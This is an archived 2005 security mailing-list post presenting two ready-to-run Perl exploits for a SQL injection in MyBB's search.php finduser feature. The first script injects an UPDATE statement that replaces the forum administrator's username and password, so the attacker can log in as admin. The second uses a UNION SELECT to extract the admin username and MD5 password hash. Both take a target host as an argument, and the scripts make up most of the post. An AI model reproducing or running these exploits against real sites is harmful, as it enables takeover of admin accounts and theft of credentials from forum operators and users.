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[EXPL] MyBB finduser Search SQL Injection (Exploits)

Subject: [EXPL] MyBB finduser Search SQL Injection (Exploits)
Date: 21 Aug 2005 15:54:12 +0200
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  MyBB finduser Search SQL Injection (Exploits)
------------------------------------------------------------------------


SUMMARY

The following two exploits, exploit a vulnerability in MyBB's finduser 
searching functionality, one will try to add a user named crouz with 
administrative privileges to the system, while the other will grab the 
first available administrative username and dump his hashed password.

DETAILS

Exploits #1:
#!/usr/bin/perl
###########################################
#               Crouz.Com Security Team                #
###########################################
#  EXPLOIT FOR: MyBulletinBoard Search.PHP SQL Injection Vulnerability     
  #
#                                          #
#Expl0it By: A l p h a _ P r o g r a m m e r (sirius)                #
#Email: Alpha_Programmer@LinuxMail.ORG                        #
#                                          #
#This Xpl Change Admin's Pass For L0gin With P0wer User               #
#                                          #
#HACKERS PAL & Devil-00 & ABDUCTER are credited with the discovery of this 
vuln   #
#                                          #
###########################################
# GR33tz T0 ==> mh_p0rtal -- Dr-CephaleX -- The-Cephexin -- 
Djay_Agoustinno  #
#        No_Face_King -- Behzad185 -- Autumn_Love6(Hey Man You Are 
Singular) #
#                                          #
#  Special Lamerz : Hoormazd & imm02tal :P ++ xshabgardx            #
###########################################
use IO::Socket;

if (@ARGV < 2)
{
  print "\n==========================================\n";
  print " \n   -- Exploit By Alpha Programmer(sirius) --\n\n";
  print "       Crouz Security Team   \n\n";
  print "     Usage: <T4rg3t> <DIR>\n\n";
  print "==========================================\n\n";
  print "Examples:\n\n";
  print "  Mybb.pl www.Site.com /mybb/ \n";
  exit();
}

my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "GET $dir/search.php?action=finduser&uid=-1' ; update mybb_users 
set username='da05581c9137f901f4fa4da5a958c273' , 
password='da05581c9137f901f4fa4da5a958c273' where usergroup=4 and uid=1 
HTTP/1.0\n";
$http .= "Host: $host\n\n\n\n";


print "\n";
print $remote $http;
print "Wait For Changing Password ...\n";
sleep(10);

print "OK , Now Login With :\n";
print "Username: crouz\n";
print "Password: crouz\n\n";
print "Enjoy ;)\n\n";

Exploits #2:
#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
print "#########[ MyBB SQL-Injection ]##############\n";
print "#     Coded By Devil-00 [ sTranger-killer ]      #\n";
print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID    
#\n";
print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash 
#\n";
print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ]            #\n";
print "######################### #########\n";
exit;
}

my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];

if($ARGV[3] eq 0){
print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=finduser&uid=-1' UNION SELECT 
uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui 
d,uid,uid,username,password FROM mybb_users where usergroup=4 and 
uid=1/*";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
$page =~ m/<a 
href="search\.php\?action=results&sid=(.*?)&sortby=&order=">/ && print 
"[+] Search ID To Use : $1\n";
exit;
}else{

print "[*] Trying $host\n";

$url = 
"/".$ARGV[1]."/search.php?action=results&sid=$searchid&sortby=&order=";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";

$page =~ m/<a href="member\.php\?action=profile&amp\;uid=1">(.*?)<\/a>/ && 
print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);

$page =~ m/<a href="forumdisplay\.php\?fid=1">(.*?)<\/a>/ && print "[+] 
MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
}


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:alpha_programmer@linuxmail.org> Alpha Programmer and Devil-00.



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